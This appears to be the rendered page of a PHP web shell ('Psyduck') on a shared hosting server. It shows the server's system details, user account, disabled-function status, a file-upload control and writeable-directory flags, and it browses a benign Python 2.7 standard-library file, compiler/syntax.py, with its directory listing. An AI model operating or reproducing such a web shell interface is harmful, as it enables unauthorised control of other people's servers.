Psyduck - 可達鴨 之 鴨力山大2


Server : LiteSpeed
System : Linux premium217.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : alloknri ( 880)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /opt/alt/python27/lib64/python2.7/compiler/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/alt/python27/lib64/python2.7/compiler/syntax.py
"""Check for errs in the AST.

The Python parser does not catch all syntax errors.  Others, like
assignments with invalid targets, are caught in the code generation
phase.

The compiler package catches some errors in the transformer module.
But it seems clearer to write checkers that use the AST to detect
errors.
"""

from compiler import ast, walk

def check(tree, multi=None):
    v = SyntaxErrorChecker(multi)
    walk(tree, v)
    return v.errors

class SyntaxErrorChecker:
    """A visitor to find syntax errors in the AST."""

    def __init__(self, multi=None):
        """Create new visitor object.

        If optional argument multi is not None, then print messages
        for each error rather than raising a SyntaxError for the
        first.
        """
        self.multi = multi
        self.errors = 0

    def error(self, node, msg):
        self.errors = self.errors + 1
        if self.multi is not None:
            print "%s:%s: %s" % (node.filename, node.lineno, msg)
        else:
            raise SyntaxError, "%s (%s:%s)" % (msg, node.filename, node.lineno)

    def visitAssign(self, node):
        # the transformer module handles many of these
        pass
##        for target in node.nodes:
##            if isinstance(target, ast.AssList):
##                if target.lineno is None:
##                    target.lineno = node.lineno
##                self.error(target, "can't assign to list comprehension")
Name
Size
Permissions
Options
__init__.py
0.999 KB
-rw-r--r--
__init__.pyc
1.279 KB
-rw-r--r--
__init__.pyo
1.279 KB
-rw-r--r--
ast.py
36.629 KB
-rw-r--r--
ast.pyc
75.373 KB
-rw-r--r--
ast.pyo
75.373 KB
-rw-r--r--
consts.py
0.457 KB
-rw-r--r--
consts.pyc
0.732 KB
-rw-r--r--
consts.pyo
0.732 KB
-rw-r--r--
future.py
1.849 KB
-rw-r--r--
future.pyc
3.014 KB
-rw-r--r--
future.pyo
3.014 KB
-rw-r--r--
misc.py
1.752 KB
-rw-r--r--
misc.pyc
3.887 KB
-rw-r--r--
misc.pyo
3.887 KB
-rw-r--r--
pyassem.py
23.699 KB
-rw-r--r--
pyassem.pyc
26.358 KB
-rw-r--r--
pyassem.pyo
25.798 KB
-rw-r--r--
pycodegen.py
46.688 KB
-rw-r--r--
pycodegen.pyc
57.387 KB
-rw-r--r--
pycodegen.pyo
56.953 KB
-rw-r--r--
symbols.py
14.149 KB
-rw-r--r--
symbols.pyc
17.974 KB
-rw-r--r--
symbols.pyo
17.94 KB
-rw-r--r--
syntax.py
1.41 KB
-rw-r--r--
syntax.pyc
1.914 KB
-rw-r--r--
syntax.pyo
1.914 KB
-rw-r--r--
transformer.py
51.871 KB
-rw-r--r--
transformer.pyc
48.115 KB
-rw-r--r--
transformer.pyo
46.343 KB
-rw-r--r--
visitor.py
3.805 KB
-rw-r--r--
visitor.pyc
4.216 KB
-rw-r--r--
visitor.pyo
4.216 KB
-rw-r--r--